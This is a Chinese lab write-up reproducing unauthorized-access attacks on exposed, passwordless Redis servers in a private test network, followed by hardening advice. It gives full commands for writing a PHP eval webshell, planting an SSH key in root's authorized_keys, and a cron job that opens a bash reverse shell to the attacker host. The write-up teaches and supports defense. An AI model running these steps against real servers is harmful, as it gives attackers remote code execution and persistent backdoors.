- Redis
- 漏洞的產生條件及利用
- Redis環境搭建
- 漏洞復現
- 利用Redis寫入Webshell
- 利用Redis寫入SSH公鑰
- 利用Redis寫入計劃任務
- Redis安全防護
Redis
redis(remote dictionary server)是一個 key-value 儲存系統,是跨平臺的非關係型資料庫。
redis 預設情況下,會繫結在0.0.0.0:6379,如果沒有采用相關的安全策略限制,redis服務會暴露在伺服器公網上。如果此時又沒有設定密碼認證(預設為空),則會導致任意使用者在可以訪問目標伺服器的情況下未授權訪問redis以及讀取redis的資料。
漏洞的產生條件及利用
漏洞的影響版本
redis 2.x,3.x,4.x,5.x
漏洞的產生條件
1、redis繫結在0.0.0.0:6379,沒有采用相關的安全策略限制,直接暴露在公網。
2、沒有設定密碼認證,可以免密碼遠端登入redis服務。
漏洞如何利用
1、利用redis寫入webshell
2、利用redis寫入ssh公鑰
3、利用redis寫入計劃任務
Redis環境搭建
第一種方式:下載安裝符合漏洞版本的redis並解壓,進入到redis目錄中,執行make,透過make編譯的方式來安裝。
第二種方式:使用docker搭建vulhub靶場環境。
踩坑:
建議使用第一種方式,我用vulhub復現的時候存在redis不是root許可權啟動的問題:
設定路徑為/root/.ssh/時報錯:(error) ERR Changing directory: Permission denied
查閱相關文章,說redis並不是以root啟動的,可能需要修改docker-compose.yml配置以root使用者來執行容器、參考文章docker-compose privileged root,嘗試了設定privileged:true讓容器以root許可權執行,但是修改配置以後,重新構建環境失敗。
首先下載安裝符合漏洞利用的低版本redis:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
解壓安裝包:
tar xzf redis-2.8.17.tar.gz
進入redis目錄編譯安裝:
cd redis-2.8.17
make
make結束後,進入src/目錄啟動服務:
cd src/
redis-server ../redis.conf
可以看出redis服務6379已經啟動,nmap掃描到目標主機的6379埠為open狀態。
如果nmap掃描到的6379埠沒有開放,需要關閉防火牆,雲主機需要在安全組開放埠。
漏洞復現
環境:靶機Ubuntu IP:192.168.88.150 攻擊機Kali IP:192.168.88.128
利用Redis寫入Webshell
服務端的redis預設沒有設定密碼認證,在攻擊機上能用redis-cli可以直接登陸連線。若服務端存在Web服務,並且知道Web目錄的絕對路徑,那麼可以向該目錄寫入webshell,然後使用蟻劍之類的工具連線getshell。
Kali安裝redis-cli遠端連線工具:
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
安裝完畢以後,進入src/目錄使用redis-cli登入:
redis-cli -h 目標主機IP
預設情況下requirepass引數是空的,也就是說預設情況下是無密碼驗證的,這是未授權訪問的利用的條件之一。
nmap探測到靶機開啟了Web伺服器。
已知Web目錄的路徑為/var/www/html。
將dir設定為/var/www/html目錄,意為將指定本地資料庫存放目錄設定為/var/www/html。將dbfilename設定為檔名shell.php,即指定本地資料庫檔名為shell.php。再執行save命令就可以寫入一個路徑為/var/www/html/shell.php的檔案,save命令將當前redis例項的資料寫入到磁碟,持久化儲存。
寫webshell的時候,可以使用:
set webshell "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"
\r\n\r\n 是換行的意思,用redis寫入檔案的會自帶一些版本資訊,如果不換行可能會導致無法執行。
進入靶機檢視,如下圖所示說明webshell寫入成功。
使用蟻劍連線成功:
利用Redis寫入SSH公鑰
透過redis向目標伺服器寫入ssh公鑰,將公鑰放到linux系統的/root/.ssh/authorized_keys的檔案中,本地客戶端透過對應的私鑰進行免密登入。
條件是服務端存在.ssh目錄並且有寫入的許可權,還需要redis是root啟動,因為非root許可權無法進入/root目錄。
首先在攻擊機的/root/.ssh目錄裡生成ssh公鑰key:
cd ~/.ssh
ssh-keygen -t rsa
接著將公鑰寫入key.txt檔案(前後用\n換行,避免和Redis裡其他快取資料混合):
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
連線目標伺服器上的redis服務,將儲存的公鑰key.txt寫入redis資料庫:
cat /root/.ssh/key.txt | redis-cli -h 192.168.88.150 -x set pkey
使用redis-cli -h ip,將檔案寫入:
連線目標機器redis,設定redis的路徑為/root/.ssh/和儲存檔名為authorized_keys,然後儲存。
config set dir /root/.ssh
config set dbfilename authorized_keys
ssh利用私鑰成功登入。
利用Redis寫入計劃任務
寫入計劃任務和寫webshell和ssh公鑰的原理類似,連線服務端的redis,寫入反彈shell的計劃任務:
config set dir /var/spool/cron/crontabs
config set dbfilename root
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.88.128/12345 0>&1\n\n"
save
然後Kali上監聽12345埠:
nc -lvp 12345
雖然靶機被寫入反彈命的定時任務,但是kali上一直沒有收到:
檢視crontab的日誌輸出了 cron[808]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)
原因:
因為預設redis寫檔案後是644的許可權,但ubuntu要求執行定時任務檔案/var/spool/cron/crontabs/<username>許可權必須是600才會執行,否則就會報錯(root) INSECURE MODE (mode 0600 expected)。
所以這個方法在Ubuntu上行不通。
綜上無法利用的原因可能有:redis不是以root許可權啟動,沒有可以寫入檔案的路徑或許可權,檔案許可權不足等。
Redis安全防護
-
繫結本地登入地址:在配置檔案中設定 bind 127.0.0.1,限制僅本地訪問
-
設定複雜密碼:不使用預設空密碼,設定一個強複雜密碼
-
禁用遠端連線:設定 protected-mode 和 rename-command 防止遠端連線
-
網路隔離:將 Redis 服務放在內網環境,不向公網開放埠
-
賬號許可權控制:設定只允許特定賬號從指定IP進行訪問
-
認證機制擴充套件:透過外掛進行LDAP、Kerberos等認證控制
-
TLS加密傳輸:使用SSL證書對連線進行加密保護
-
實時監控:監控並阻止異常訪問和命令執行
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ